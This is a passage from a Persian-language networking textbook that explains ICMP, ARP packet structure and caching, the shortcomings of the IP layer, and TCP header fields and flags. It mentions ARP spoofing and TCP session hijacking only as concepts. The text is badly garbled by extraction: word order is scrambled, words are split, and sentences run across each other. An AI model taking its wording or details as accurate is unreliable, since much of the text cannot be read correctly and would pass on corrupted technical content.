ان  و دریافت  زمان آن، کننده دریافت که اوت تف این با هستند قبل در شده تعریف پيام دو شبيه دقيقا پيام دو این سته  ارسال  زم ز  را ب  ني
ده  ارسال  بنابراین . کرد خواهد اضافه آن به پاسخ در ام  کنن ه  پاسخ  دریافت  از پس Timestamp Request  پي ا  ن ل  از تنه  دسترس  قاب

سته  یک  برگشت  و رفت زمان بلکه ، شود می ، باخبر مقصد بودن ز  را ب د  می  ني ين  توان د  تخم ه  و بزن سيریابی  جداول  آن کمک  ب  و م
  .نماید گيری اندازه را شبکه کارآیی همچنين

  
ان  نماشي یک آنها از استفاده با که دارد دوجو نيز دیگر پيام چهار ICMP  پروتکل در د  می  ميزب ی  شبکه  IP  آدرس توان  را خود  محل
 دقيق و تر جزئی اطلاعات آوردن بدست برای . نماید پيدا کند، می استفاده مشترک IP های آدرس از محلی شبکه چندین که هنگامی در
   .نمائيد مراجعه RFC- 792  به  ICMP پروتکل های پيام و وظایف مورد در
 
 

ی  شبکه پویش های مکانيزم کثرا که گرفت خواهيم یاد بعدا ر  مبتن رد  می  شکل  ICMP  ب سته  از حملات  از برخی  در ضمن  در . گي  ب
تفاده  مخرب  های داده پنهانی حمل برای پروتکل این های د  فراموش  . است  شده  اس ه  نکني ر  ICMP  وجود  عدم  ک  ماشين  یک  روی ب

 این از نفوذگران استفاده . شود می اجتناب ICMP  بودن فعال از حساس های سيستم از بسياری در لذا کرد؛ نخواهد ایجاد حادی مشکل
 !!!“ ببخشند لقایش به آنرا عطای” شبکه امنيت مسئولين شده باعث پيچيده و مخرب حملات در پروتکل

  
  
  
 

   ARP (Address Resolution Protocol) پروتکل
 
  

ام  چه اگر که است آن دارد وجود اینترنت شبکه مورد در که ظریفی نکته ان  های  ماشين  تم ه  IP  آدرس از ای شبکه  ابزارهای  ميزب  ک
 از قبل IP  بسته  .است تحليل و شناسایی قابل شبکه لایه در فقطIP  بسته یک وليکن کنند می استفاده است یکتا و فرد به منحصر آدرس
ه  اول لایه شود؛ می تشکيل اول لایه در بعدا که گيرد می قرار فریمی از داده فيلد درون ارسال ال  در ای وظيف سيریابی  قب ایی  و م  کاره

د  شما ماشين اگر مثال عنوان به . کند می کار فيزیکی های آدرس با فقط و ندارد قبيل این از سته  بخواه رای  را ای ب ه  ماشينی  ب  روی ک
ل  طرف  ماشين  فيزیکی آدرس و  مبدا شما ماشين فيزیکی آدرس بایستی الزاما اول لایه در بفرستد، است واقع خودتان محلی شبکه  مقاب
 عدم مساوی عملا فيزیکی آدرس دانستن عدم . است شده درج شبکه کارت در افزاری سخت صورت به ها آدرس این باشد معين مقصد
  .هستند معنا به IP  های آدرس انتقال کانال روی که چرا بود خواهد ارتباط برای توانایی

 
 اول لایه هم حالت این در . نيست شما فعلی شبکه روی که کند ارسال دیگر ماشين برای را ستهب خواهد می شما ماشين کنيد فرض حال
 چيست؟ مقصد فيزیکی آدرس دارد؛ مقصد از MAC  آدرس به نياز و دهد می تشکيل فيزیکی کانال روی ارسال برای فریم یک
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سيریاب  آدرس مقصد،  فيزیکی  رسآد شود  ارسال شبکه از خارج به است قرار ای بسته گاه هر اول لایه در يش  م د  شما  فرض  پ  خواه
  !دیگر ای مقوله IP  های آدرس و هستند جدا ای مقوله MAC  های آدرس بنابراین .بود

  
د  بشناسد، را مقصدش و خودش IP  های آدرس بایستی که آن از گذاشته اینترنت، در ماشينی هر ه  نيازمن ستن  ب  فيزیکی  های  آدرس دان

ناخته  دنيا تمام در که اترنت شبکه مثال عنوان به .هست هم ند، هستارتباط در او با مستقيما که هایی ماشين ایی  آدرس از است  شده  ش  ه
ه  آن از گذشته است مجهز اترنت کارت یک به که کامپيوتری بنابراین .است (بایتی 6 ) بيتی 46 و فرد به منحصر که کند می استفاده  ک
ا  48 آدرس یک  دارای یقينا باشد داشته فرد به منحصر آدرس این که ستا یکتا بيتی IP آدرس یک بایستی ه  در یکت  آن، سازنده  کارخان
تد  شبکه  روی را اطلاعاتی بسته یک خواهد می IP  پروتکل وقتی بنابراین . است شده تنظيم د  بفرس ه  بای ين  فيزیکی  آدرس نحوی  ب  اول

 مقصد فيزیکی آدرس تواند می یا باشد او فرض پيش مسيریاب تواند می ماشين این ؛بداند را کند برقرار ارتباط بایستی آن با که ماشينی
 .باشد محلی شبکه همين روی

 
ی  داند؛ می کند، برقرار ارتباط آن با خواهد می که را ماشينی IP  آدرس ایستگاهی کنيد فرض حال د  نمی  را او فيزیکی  آدرس ول  . دان
رد  بهرهARP  پروتکل از باید بدهد؟ انجام تواند می کاری چه ن  در ! بب ر  فرض  پروتکل  ای ه  است  آن ب ام  ک  یک  روی های  ماشين  تم

  .دانند می را خود IP  آدرس محلی شبکه
 

 . است  شده  نصب  شما دانشگاه در شبکه سه کنيد فرض شکل این در . کنيد نگاه زیر شکل به ARP  پروتکل وظيفه شدن روشن برای
ه   C کلاس  آدرس با برق دانشگاه در دوم شبکه و 192.31.65.0 شماره به C  کلاس آدرس با يوترکامپ دانشکده در اول محلی شبکه  ب
  . هستند اترنت نوع از شبکه دو هر است شده نصب 192.31.63.0 شماره

  

  
  
ا  و FDDI استاندارد با نوری فيبر شبکه یک طریق از شبکه دو این  ه  192.31.60.0 شماره   IP آدرس ب دیگر  ب د  شده  متصل  هم  . ان

ی  48 آدرس یک  اترنت  شبکه  در ماشين هر ا  بيت سيریاب  . دارد یکت ا  م د  شده  مشخص  شکل  در ه اط  و ان ا  را اترنت  شبکه  دو ارتب   ب
FDDI شبکه . کنند می برقرار  FDDI سيریاب  هر  .است شده متصل اینترنت جهانی شبکه به اختصاصی خط یک طریق از ه  م  دو ب
 شبکه از یکی در آنها از یک هر که باشد، می مجزا  IP آدرس دو دارای شبکه دو هر از عضوی عنوان به و شده متصل متفاوت شبکه
 .است شده تعریف محلی های

  
  

 مشخصات با IP بسته یک شبکه لایه در . بفرستد  IP بسته 192.31.65.5 مثلا خاصی آدرس به است مایل ماشينی که کنيد فرض حال
شکيل  از پس  شبکه  لایه دیدگاه از . گيرد می قرار 192.31.65.5 مقدار مقصد آدرس تقسم در و شود می ساخته لازم سته  ت ار IP  ب  ک
 مقصدی ماشين MAC ، آدرس فيزیکی آدرس دانستن کند ارسال کانال روی را بسته آن بایستی که اول لایه دیدگاه از ليکن و است تمام
 آن 192.31.65.5 است حياتی است، IP آدرس که
  
  

سته   یک که است آن اینجا در ARP پروتکل وظيفه ر  ب ی  شبکه  کل  روی Broadcast  فراگي شر  محل د  منت ه  کن ن  ک سته  ای  حقيقت  در ب
ه  توجه  با چيست؟ او فيزیکی آدرس است، 192.31.65.5 او IP  آدرس که کسی :کند می سوال سته  آنکه  ب را  های  ب ر  ف ام  توسط  گي  تم
د،  می بسته این درون را خودش IP  آدرس که ماشينی شود، می دریافت محلی شبکه روی های ماشين دان  بين د  می  پاسخ  ب  آدرس و ده
د،  بدست  مقصد  فيزیکی آدرس آنکه از پس . فرستد می بسته آن کننده ارسال برای را خود فيزیکی ریم  یک  آم ر  شده  ساخته  اترنت  ف  ب
  .شود می منتقل کانال روی
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د  می  حمایت  ARP  پروتکل  از محلی شبکه روی رب ماشين هر که باشيد داشته توجه نکته این به ن  و کن ات  پروتکل  ای  و پرسش  عملي
ودن  فعال ، دهد می انجام دارد، IP  بسته ارسال تقاضای که ماشين هر برای را پاسخ ر  ARP  ب ام  روی ب ی  شبکه  های  ماشين  تم  محل
  .است الزامی

  
د؛  می  عمل فيزیکی لایه روی بر مستقيما ARP لپروتک گيرد، می قرار IP پروتکل روی که ICMP پروتکل خلاف بر ی  کن  پس  یعن
سته  آنکه  از د  درون شد،  ساخته  ARP  ب ریم  از داده فيل ه  ، ف رار  فيزیکی  لای ه  ق ال  روی و گرفت ر  شکل  در . شود  می  ارسال  کان  زی

  :است شده کشيده تصویر به  ARP پيام یک شدن ساخته چگونگی
 

 
 
 
 
  :است شده تشریح  ARP بسته درونی ساختار زیر شکل در
 

  
  
 

• Hardware Type   
  

  .دارد عهده بر را فيزیکی  کانال روی اطلاعات انتقال وظيفه اول لایه در که شبکه کارت افزار سخت نوع مشخصه شماره
  
  

• Protocol Type 
  

 .است 2048 شماره این TCP/IP بر مبتنی های هشبک برای . شود می استفاده آن از دوم لایه در که پروتکلی نوع
 
  

• Hardware Address Length  
  
  .شود می مشخص (بایت حسب بر) آدرس طول فيلد این در است متفاوت ها، شبکه در فيزیکی های آدرس طول آنکه به توجه با
  
  

• Protocol Address Length  
 

   .است 4 مقدارTCP/IP  پروتکل در که  IP های آدرس طول
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• Operation Code (Opcode)  
  ARP reply برای 2 مقدار و ARP request برای ١مقدار 

  
 

• :Source Hardware Address 
 

 مبدا فيزیکی آدرس
  
  

• :Source IP Address  
  

  مبدا ماشين IP آدرس
  
  

• :Destination Hardware Address  
  

 مقصد ماشين فيزیکی آدرس
  
  

• :Destination IP Address  
  

  مقصد ماشين IP آدرس
  
  
  

ردن  بالا برای ی   ARP روتکل پ سرعت  ب رای  وقت ار  ب اظر  فيزیکی  آدرس یکب ا  متن ستگاه  یک  از IP  آدرس ب د،  بدست  ای  پروتکل  آم
ARP که اصلی حافظه درون جدولی در را آدرس دو این  ARP Cache نياز آدرس این به مجددا اگر تا کند می ذخيره شود می ناميده 
 آن به arp –a دستور تایپ با توان می که است زیر صورت به ول جد این از رکورد هر ساختار . بگيرد قرار اختيار در سرعت به شد

 کرد پيدا دست
 

  
  
  

: IF Index شبکه کارت آن با متناظر افزاری سخت پورت شماره   
  

: Physical Address شبکه کارت افزاری سخت آدرس   
  

: IP Address آدرس  IP افزاری، سخت آدرس با متناظر   
  

: Type ه  باید رکورد این یعنی ١مقدار  ؛کند می مشخص جدول این در را رکورد هر وضعيت گيرد می قرار فيلد این در که مقداری  ب
ه  هر  ARP Cache  که کنيد دقت . شود هنگام به متناوب طور ار  دقيق ام ”یکب دار  .شود  می  “سازی  بهنگ دین  :4 مق ه  معناست  ب ن  ک  ای

 .است ساقط اعتبار از نشده هنگام به چون رکورد یعنی :1 مقدار .شود هنگام به نباید و است تغيير بدون و ثابت رکورد
 
 

سيریاب  در که است آن بدهيم توضيح بایستی ARP پروتکل مورد در که آخری نکته ا  م ز  ه رای  ني ستگاههای  آدرس شناسایی  ب  یک  ای
 .کنيد مراجعه REC- 826 به ARP  پروتکل دقيقتر جزئيات برای . شود می عمل روش همين به آنها به متصل محلی شبکه

 
 ARP اساس بر که ماشين یک ARP Spoofing مبحث گيرند می شکل ARP بر مبتنی شبکه در سمع استراق های مکانيزم از برخی
ذکور  شکل  مشابه جعلی و دروغين بسته حقيقت در گيرد می قرار حمله مورد الا  در شده  م ه  ب ه  ماشين  یک  IP آدرس آن در ک  دروغ ب

ه  شود  می  درج (ARP Cache) نهان حافظه در اشتباه مقادیر این .است شده ذکر غلط مقداری ه  ک ز  ARP Poisoning  آن ب ه  ني  گفت
  . این متد به طور کامل در فصل مربوطه ان گفته خواهد شد که شود، می
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 ٧٠    صفحه

 
 

  اينترنت شبکه در (Transport Layer)انتقال لايه
 
 دیگر ماشينی ، به ميزبان ماشين یک از را اطلاعاتی های بسته مسيریابی و هدایت وظيفه IP  پروتکل شد اشاره قبل در که ای گونه به
 انتقال لایه وظيفه .نيست حل قابل لایه این توسط بيفتد، اتفاق IP  بسته یک برای است ممکن مسير طی در که مشکلاتی و دارد عهده بر
ستم  اصول  بر یمبتن و مطمئن شده، سازماندهی خدمات آوردن فراهم شبکه، در ل،  سي رای  عام ه  ب اربردی  های  برنام ه  در ک الاتر  لای  ب

وان  می مقایسه، مقام در .شود ترميم و جبران IP  لایه آمدی ناکار و مشکلات که ای بگونه است، ه  ت ه  را ای وظيف ه  در ک ال  لای ر  انتق  ب
 یک  از فایل مدیریت سيستم . کرد قياس دارد، عهده بر عامل سيستم از بخشی عنوان به “فایل مدیریت سيستم” که وظایفی با دارد عهده
ا  دیگر طرف از و دارد کار و سر هستند، ناهمگون و متنوع افزاری، سخت ذاتاً که اطلاعات سازی ذخيره ابزارهای با طرف ه  ب  برنام
 نوع نویس برنامه دید از و دارد اختيار در ایل، ف نام با مفهومی فقط اطلاعات بازیابی و ذخيره برای که است ارتباط در کاربردی های
ط  بلکه نيست، مهم هایش داده ذخيره فيزیکی محل و چگونگی و ابزار ات  فق ه  را لازم عملي زی  برنام د  می  ری دگاه  از . کن  ابزارهای  دی
ایی  FAT (File Allocation Table)جدول  و مجازی  منطقی  های  درایو فایل، نام به چيزی اطلاعات، بازیابی و ذخيره  دارد،ن  معن
ا  را داده بلوک یک توانند می ابزار این بلکه دازه  ب ت،  ان ل  ثاب ه  تحوی ر  و گرفت ره  فيزیکی  فضای  از مشخصی  محل  روی ب  سازی  ذخي

 فيزیکی ابزار یک از گيرد می قرار کاربردی های برنامه و فيزیکی ابزار این بين که فایل مدیریت سيستم  بخوانند یا بنویسند اطلاعات
د  می  ارائه کاربردی های برنامه به فایل مفهوم قالب در را خدماتی پيچيده، و یکپارچه خام، ه  کن املا  ک ل  ک اد،  قاب اده  و شفاف  اعتم  و س
ستم  .است  افزاری سخت پيچيدگی گونه هر از عاری دیریت  سي ل  م رای  فای ه  ب ين  ارائ د  خدماتی  چن و  جدول  FAT جداول  بای  های  درای
ا  .نماید سازماندهی و ایجاد را ... و (Root Directory)  ها فایل رستفه ، سيستم (Partition Table)، منطقی اری  تنه ه  ک ه  ک  برنام
ه  آنست دهد انجام باید فایل سيستم خدمات از گيری بهره برای نویس ایلی  ک دن  تقاضای  و بگشاید  را ف ا  و آن از خوان  را آن در نوشتن  ی
 .شود می فصل و حل فایل یرمد توسط دارد وجود بين این در که هایی پيچيدگی . بدهد

 
د  می دنبال را مفهوم همين انتقال لایه وظيفه ی  کن ره  : یعن ری  به ه  خدمات  از گي ه  IP لای اده  و سریع  ک ر  حال  عين  در u1583 و س  غي
 برنامه که یا گونه به بالاتر، لایه در و کاربردی های برنامه به شفاف و یافته ساختار مطمئن، خدماتی ارائه و است ناکارآمد و  نئمطم
  .باشد دور به قبيل این از مسائلی و انتقال کانالهای مشکلات و شبکه زیر جزئيات با درگيری از نویس

  
ه  را روشی  سپس و کرده بررسی را IP  لایه های کاستی باید انتقال لایه وظایف تشریح برای ه  ک ال  لای رای  انتق ران  ب ا  جب ده  آنه  برگزی
ای  ذات  IP لایه های کاستی منشا که د کنی دقت . دهيم توضيح است، ال  کاناله ر  در فيزیکی  مشکلات  و انتق اطی  شبکه  زی  .است  ارتب
 :از عبارتند ها کاستی این عمده

 
 

را  بتواند و باشد بسته آن دریافت آماده ماشين آن شود می ارسال مقصد ماشين یک برای ای بسته وقتی ندارد وجود تضمينی .١  آن
  .کند دریافت

  
ه  شود  می ارسال ماشين یک برای متوالی بسته چند وقتی داردن وجود ضمينیت .٢ ان  ب ی  هم ه  ترتيب ر  ک  شده  ارسال  شبکه  روی ب

  .شوند دریافت مقصد در اند،
 

ه  شود،  می ارسال مقصد یک برای ای بسته وقتی که ندارد وجود تضمينی .٣ ل  ب ر  دلي شود  ارسال  مجددا  رسيدن  دی ين  در و ن  چن
 یکی که هم، عين بسته دو بين تمایزی نيست قادر  IP لایه . شود دریافت مقصد در دوبار اهاشتب به ای بسته است ممکن حالتی
 .دهد می مقصد ماشين تحویل را دو هر و شود قائل است زائد آنها از

 
 محيط یک در . ندارد اند، شده اجرا واحد ماشين یک روی بر که مختلفی های پروسه بين ها بسته توزیع قبال در ای وظيفه هيچ IP لایه

دین  است ممکن Multi Task ای وظيفه چند” یا “کاربره چند” اوت  پروسه  چن ا  ارسال  تقاضای  متف ند  داشته  داده دریافت  ی  حال  . باش
 روی اجرا حال در سهروپ کدامين به متعلق بسته این درون های داده . شود داده تحویل واحد، ماشين یک از  IP لایه به بسته کنيد فرض

 .ندارد هویت و رسميت اجرا حال در متفاوت های پروسه نام به مفهومی IP  لایه دیدگاه از است؟ ماشين آن
 

ا  ماشين  یک است ممکن مثلا . ندارد ماشين یک به ها بسته تحویل سرعت تنظيم قبال در ای وظيفه هيچ IP  لایه سيار  سرعت  ب اد  ب  زی
ا  بسته و کند دریافت سرعت این با را ها بسته نباشد قادر مقصد اشينم ولی بدهد IP  لایه تحویل و کرده توليد را های بسته  مقصد  در ه
ثلا  که است دليل همين به) روند می بين از دریافت در توانایی عدم دليل به ه  کشور  از خارج  از شخصی  از اگر  م ر  خطوط  دارای ک  پ

 احساس  تغييری WEBCAM  پنجره در ها عکس شدن Refresh  سرعت در که دید خواهيد بگيرید،  WebCAM باشد می سرعت
ه  در شود  نمی  ال  لای ه  پروتکل  دو انتق ام  ب  (User Datagram Protocol) و TCP(Transmission Control Protocol)های  ن
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UDP پروتکل ابتدا که اند شده تعریف  TCP رده  جبران را شده عنوان های کاستی تمام که را يم  می  معرفی  ک ا  و کن ه  نهایت  پروتکل  ب
UDP  پرداخت خواهيم آن مشخصات و.  

  
  IP لايه های کاستی جبران  برایTCP پروتکل  راهکارهای

  
  
ات  سپس و شود می بررسی دهد، می انجام IP  لایه های کاستی جبران برای TCP  پروتکل که عملياتی مفهوم بخش این در ن  جزئي  ای

ه  آتی های بخش در را عمليات يم  می  ارائ ين  .ده ه  در کاستی  اول اده  در تضمين  عدم  IP  لای ودن  آم ایی  و ب ا  داده دریافت  توان  توسط  ه
رای  کارآمد و ساده کاری راه TCP   پروتکل در . شد عنوان ، مقصد ماشين ن  ب ا  مشکل  ای راری ” : است  شده  ذاتخ اط  یک  برق  و ارتب
  .“داده گونه هر ارسال از قبل مقصد، و مبدا بين هماهنگی به اقدام

  
ر  دیگر  پروسه برای باشد داشته تمایل A  ماشين روی ای پروسه کنيد فرض حل، اهر این تشریح برای ایی  داده B  ماشين  روی ب  را ه
 :کند می عمل زیر صورت به داده ارسال به اقدام از قبل کند، ارسال

 
  

• A ماشين آدرس به ارتباط، برای درخواست عنوان به را خاص بسته یک B ماند می منتظر و فرستد می.   
  

• B به را خود آمادگی عدم یا آمادگی شرایط، حسب بر و کرده ریافت د را ارتباط خواست در  A است  ممکن کند می اعلام B 
  گردد نمی بر پاسخی طبعا و باشد نداشته خارجی وجود اصلا

  
 اقدام داده لارسا به تواند می کرد دریافت B  بودن آماده بر مبنی مثبت پاسخ مشخص، زمان مهلت یک در A که صورتی در •

 .نماید
 
ل  که هایی پروتکل به ه  از قب ا  داده مبادل راری  در سعی  ه اط  یک  برق اد  و ارتب اهنگی  ایج ی  هم د  می  قبل را  اتصال  های  پروتکل  نماین  گ

“Connection Oriented – ” د  نيز داده مبادله خاتمه ها پروتکل این در .شود می گفته د  یک  در بای ا  و هماهنگ  رون ی  اطلاع   ب  قبل
ن  حل  . آنهاست  صحت و داده رسيدن ترتيب به تضمين IP  لایه ر د بعدی معضلات .شود نجاما سائل  ای دان  م  مجددا  .نيست  مشکل  چن

ه  اقدام از قبل و کند ارسال را هایی داده مشخص، ماشين یک روی بر B  پروسه برای باشد داشته تمایل A پروسه کنيد فرض  ارسال  ب
 :است انجام قابل زیر روند ها داده ترتيب و صحت تضمين برای .باشد کرده راربرق موفق ارتباط یک ها، داده

  
 

 A ه  هایی داده از بخشی د  ک سته  یک  قالب  در را شوند  ارسال  بای رده  سازماندهی  ب  شماره  یک ” آن سرآیند  در و ک
ه  دایته  جهت را آن بافر، یک درون بسته آن نگهداری ضمن سپس کند؛ می تنظيم Sequence Number ترتيب  ب
 خطاهای بر نظارت برای همچنين . کند می تنظيم (Timer) سنج زمان” یک و دهد می IP  لایه تحویل مقصد سمت

د  می قرار بسته سرآیند در خطا کشف بيتی 16کد یک احتمالی ه  صورتی  در . ده سته  B  ک الم  را A از ارسالی  ب  س
 به معمولا ACK  ارسال فرستد می پس A  برای ودش می ناميده Ack اختصارا که تصدیق پيام” یک کرد، دریافت
 داده آنکه  مگر  شود،  ارسال  پاسخ،  در است قرار که ميشود اطلاعاتی ضميمه بلکه ، شود نمی انجام مجزا صورت

 شود می گفته Piggy Backing  روش این به باشد؛ نداشته وجود ارسال برای ای
  
 

رده  آزاد را ته بس آن به مربوط بافر د،کر دریافت را ACK  پيام مقرر زمان در  A اگر  دام  و ک ه  اق ه  ب  ارسال  ادام
 مقرر مهلت در  برگشت مسير در ACK پيام خرابی یا) ها داده خرابی دليل به اگر . نماید می روال همين به ها داده
ه ) شود می ارسال نو از شده بافر بسته نشد، دریافت تصدیق پيام ایی  پروتکل  ب ه  ه ط  ک ام  در فق  صحيح  ریافت د هنگ
ا،  داده ام  ه ر  را ACK پي د  ب سته  دریافت  صورت  در و ميگردانن د،  ساکت  خراب  ب  Positive) های  پروتکل  ان

Acknowledgment with Retransmission) PAR رار  با شوند می گفته رای  ترتيب  شماره  دادن ق  می  داده ب
ان  که کرد تضمين توان ا  داده جری ه  ه ند  می  ترتيب  ب ه  اگر  و رس ی د هر  ب سته  یک  ليل ار  ب ه  ، شود  افت  دری دوب  ب

سه  ب،  های  شماره  مقای ا  از یکی  ترتي ه  دور آنه ا  . شود  می  انداخت د  یک  تنظيم  ب ی  16 ک ا  کشف  بيت دا  در خط  و مب
وان  می  مقصد، در آن مجدد بررسی ا  داده صحت  از ت ز  ه ئن  ني ات  . شد  مطم ن  جزئي ات  ای ا  عملي شریح  ب  پروتکل  ت
TCP شد خواهد مشخص. 

 
ه  مختلفی های پروسه شناختن رسميت به برای TCP  کلپروت در ر  ک ر  حل  راه هستند  اجرا  حال  در ماشين  یک  روی ب ه  زی  می  ارائ
 :شود
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رای  شناسایی  شماره  یک  شبکه، روی دیگر ای پروسه با ارتباط یک برقراری تقاضای برای پروسه هر ر  خود  ب د  می  ب ه  . گزین ن  ب  ای

 آدرس ، شود  می  سازماندهی  TCP پروتکل  توسط که ای بسته سرآیند در .گویند می  Port Number پورت آدرس” شناسایی شماره
 هویت  و رسميت  ها پروسه به که پورت های شماره بودن یکتا . شود می درج آن گيرنده پروسه پورت آدرس و فرستنده پروسه پورت
ی  عنوان به TCP  پروتکل توسط بخشد، می ستم  از جزئ د  نظارت  عامل  سي ستم  . دش  خواه داری  را جدولی  عامل  سي د  می  نگه ه  کن  ک

 .دارد وجود آن در ارتباط ی دهنده تقاضا شناسایی شماره
 

ورت  شماره نماید؛ می مشخص شبکه کل در را یکتا ماشين یک IP  آدرس ز  پ ين  از ني ر  شده  اجرا  های  پروسه  ب  ماشين،  ، آن روی ب
ا  پروسه  یک تواند می پورت آدرس و IP آدرس زوج بنابراین . کند می تعيين ( مقصد یا) مبدا عنوان به را آنها از یکی  را واحد  و یکت
 :شود می گفته Socket Address یا “سوکت آدرس” آدرس، زوج این به شبکه ادبيات در .نماید مشخص دنيا در ماشين هر روی بر
 
  

Syntax: (IP Address : Port Number) = Socket Address 
Example: 193.143.34.2:80 

  
 .شود اشتباه سوکت نویسی برنامه مفهوم با نباید سوکت آدرس اصطلاح :نکته

  
  

 این در که هایی سنج زمان مجموعه تنظيم برای پویا الگوریتمی TCP  پروتکل در دریافت و ارسال سرعت هماهنگی مسئله حل برای
شریح  مجزا  بخشی در که است شده گرفته کار به نمایند می وظيفه انجام رابطه نم  می  ت ل  .ک ه  شدن  وارد از قب ات  ب  TCP پروتکل  جزئي
د،  می سازماندهی و تنظيم IP  لایه به تحویل برای پروتکل این که را ای بسته ساختار است بهتر ورد  کن رار  بررسی  م يم  ق ه  چرا  ده  ک

 در که ای بسته شد خواهد آشکار بسته این ساختار بررسی با مسائل از بسياری
 
 

ه ” شود،  می  تنظيم و يدتول انتقال لایه ا  TCP Segment – TCP ی قطع ام  TPDU (Transport Protocol Data Unit) ی  دارد، ن
  .گفت خواهيم  TCP بسته آن به اختصار به که
  
  
  

   TCP پروتکل  های بسته  ساختار
  
  
ر  در .داد خواهيم  توضيح  پروتکل، این در را ها بسته سرآیند ساختار و نمایيم می ارائه TCP پروتکل از کلی دید یک بخش این در  زی

  :است شده کشيده تصویر به TCP  بسته یک ساختار
 

 
 

  Source Port : فيلد •
  
  .گرفت خواهد قرار ،(کرده توليد ارسال جهت را بسته این که) مبدا پروسه پورت آدرس عنوان به بيتی 16 شماره یک فيلد این در
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   :Destination Port  فيلد •
  
ن،  شد، اشاره قبل در که همانگونه کرد خواهد تعيين گرفت، خواهد تحویل آنرا که مقصد پروسه پورت آدرس ،فيلد این در  آدرس، دو ای

ل  مقصد ماشين در ای برنامه چه به باید و توليد بالاتر لایه در کاربردی ی برنامه چه از بسته این که کنند می مشخص  . شود  داده تحوی
 دارای الکترونيکی پست دهنده سرویس مثلا هستند؛ جهانی و استاندارد پورت شماره دارای استاندارد و کاربردی های پروسه از برخی
 .است 25 پورت شماره

 
 

 Sequence Number : فيلد •
  
ایتی  آخرین  ترتيب  شماره  بيتی، 32 فيلد این ه  را ب د ” در ک سته  از “داده فيل رار  جاری  ب شان  دارد ق د  ن  شماره TCP  پروتکل  در .ميده

ه  . است  شده ارسال و گرفته قرار جاری بسته در که است بایتی آخرین شماره حسب بر ترتيب، وان   ب ال  عن ن  در اگر  مث د  ای  عددی  فيل
ه  معناست  این به گيرد قرار 19341 معادل ا  داده ک ا  ه سمت  درون 19341 شماره  بایت  ت رار  داده ق د  دقت  دارد، ق ه  کني ن  ک ه  عدد  ای  ب
 .نماید می اشاره داده، بایت آخرین ترتيب شماره به هميشه بلکه دارد، قرار داده قسمت درون بایت، 19341 ادتعد به که نيست آن معنای
 باشد  داشته قرار 19341 عدد ترتيب شماره فيلد در که حالی در باشد داشته قرار بایت یک فقط داده فيلد درون کلا که است ممکن یعنی

ه  تصادفی عدد یک از بلکه شود نمی شروع صفر از ،بایت اولين ترتيب شماره که شود دقت . ام  در ک راری  هنگ اط  درق ه  ارتب  اطلاع  ب
 شد  خواهند موفق شرطی به دارند Telnet  نشست مثل نشست یک ربودن در سعی که نفوذگرانی !! شد خواهد شروع رسد می طرفين

  !!!Session Hijacking  یا نشست نربود مبحث بزنند سحد را Sequence Number فيلد اوليه مقدار بتوانند که
  

  :Acknowledgment Number  فيلد •
  
ين  را است  آن دریافت  منتظر  بسته فرستنده که بایتی ترتيب شماره نيز بيتی 32 فيلد این د  می  تعي ه  . کن وان  ب ال  عن ن  در اگر  مث د  ای  فيل

ه  معناست  بدین باشد گرفته قرار 342310 معادل عددی ا  داده رشته  از ک ه ) ه د  نيست  شخصم  ک ا  ( است  بایت  چن  342310 شماره  ت
  .باشد می بعد به 342311 از های بایت منتظر و است شده دریافت کامل و صحيح

  
  

   TCP Header Length فيلد •
  

د  می  تعيين بيتی 32 کلمات مبنای بر را TCP  بسته سرآیند طول گيرد می قرار فيلد این در که عددی ه  . کن وان  ب ال  عن ن  در اگر  مث  ای
دار  سرآیند  طول  بگيرد قرار 7 عدد فيلد د  بایت  28=7×4   مق ود  خواه ن  ب د  ای ار  کلا  فيل ی  چه د  دقت  . است  بيت ه  کني سمت  ک  و ثابت  ق

رار  اطلاعاتی تواند می Options اختياری فيلد در ولی . است بایت 20 حداقل  TCP بسته یک در اجباری رد  ق ابراین  و بگي ده  بن  گيرن
رد  می قرار فيلد این در که عددی پس . بدهد تشخيص را داده قسمت و بسته سرآیند بين مرز ندبتوا باید TCP بسته یک د  می  گي ه  توان  ب

ه  دارید توجه کند تعيين TCP  بسته یک در را ها داده شروع محل ،“ گر اشاره” عنوان ای  ک ن  مبن ی  32 کلمات  عدد  ای ار  بيت ایتی  چه  ب
 هستند

 
  Flag (Code Bits) های بيت •

 
  .کنند می بازی را دارند مختلفی کاربرد و معنا که را پرچم بيت یک نقش کدام هرTCP  بسته در بعدی تبي شش

  
  

  
  

ر  که دید خواهيد بعدا ن  اساس  ب سيار  حملات  (Code Bits) بيت  شش  ای وعی  ب ر  متن ه  ب رد  می  شکل  شبکه  علي ذا  گي د  ل ه  بای ا  دقت  ب  ب
 :کنيم می بررسی زیر ترتيب به را آنها ایمعن و ها بيت این .باشيد آشنا بيتها این عملکرد
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o بيت  :URG د  می  معين باشد، داشته 1 مقدار بيت این که صورتی در ه  کن د  در ک ه  Urgent Pointer فيل ه  در ک  معرفی  ادام

 لدفي باشد صفر بيت این که صورتی در . گيرد قرار پردازش مورد بایستی و دارد قرار معتبر و استناد قابل مقداری شد خواهد
Urgent Pointer شود می پوشی چشم آن از و نيست نادیتاس قابل و معتبر نا مقدار شامل.  

 
  

o بيت:ACK فيلد در که عددی که دهد می نشان گيرد، قرار 1 مقدار بيت این در اگر Acknowledgment  
  
  

o Number بيت  . است استناد قابل و معتبر مقداری دارای است، گرفته قرار  ACK و SYN  ز  دیگری  شنق د  ني ه  دارن  در ک
 .شد خواهد اشاره بدان ادامه

  
o بيت (Push) PSH موجود  های داده که کند می تقاضا گيرنده از اطلاعات فرستنده باشد گرفته قرار 1 مقدار بيت این در اگر 

اربردی  مهابرن تحویل بعدی های پردازش جهت آنرا وقت اسرع در و نکند بافر را بسته این در د  آن صاحب  ک ن  .بده  عمل  ای
  .است ضروری Telnet  مشابه هایی برنامه برای گاهی

 
o بيت: RST شد  خواهد قطع ناتمام و طرفه یک صورت به ارتباط گيرد قرار 1 مقدار بيت این در اگر  Abnormaly Ended 

اط  رفيت طاز یکی که آمده بوجود مشکلی افزاری نرم یا افزاری سخت نقص از اعم دليلی هر به که معنا بدین ور  ارتب ه  مجب  ب
وان  به تواند می RST بيت همچنين . است شده فعلی ارتباط خاتمه ذیرش  عدم  علامت  عن راری  پ اط  برق  اگر  . رود بکار  ارتب
اط  طرفين  از یکی  سته  یک  ارتب د  دریافت  ب ه  کن دار  RST بست  آن در ک اط  باشد،  داشته 1 مق ه  ارتب  و هماهنگ  صورت  ب

 .شد خواهد قطع نامتعادل،
 

o بيت: SYN  ارتباط یک برقراری . کنديم بازی ارتباط یک برقراری در اساسی نقش بيت این TCP  می تبعيت زیر روند از 
 :کند

 
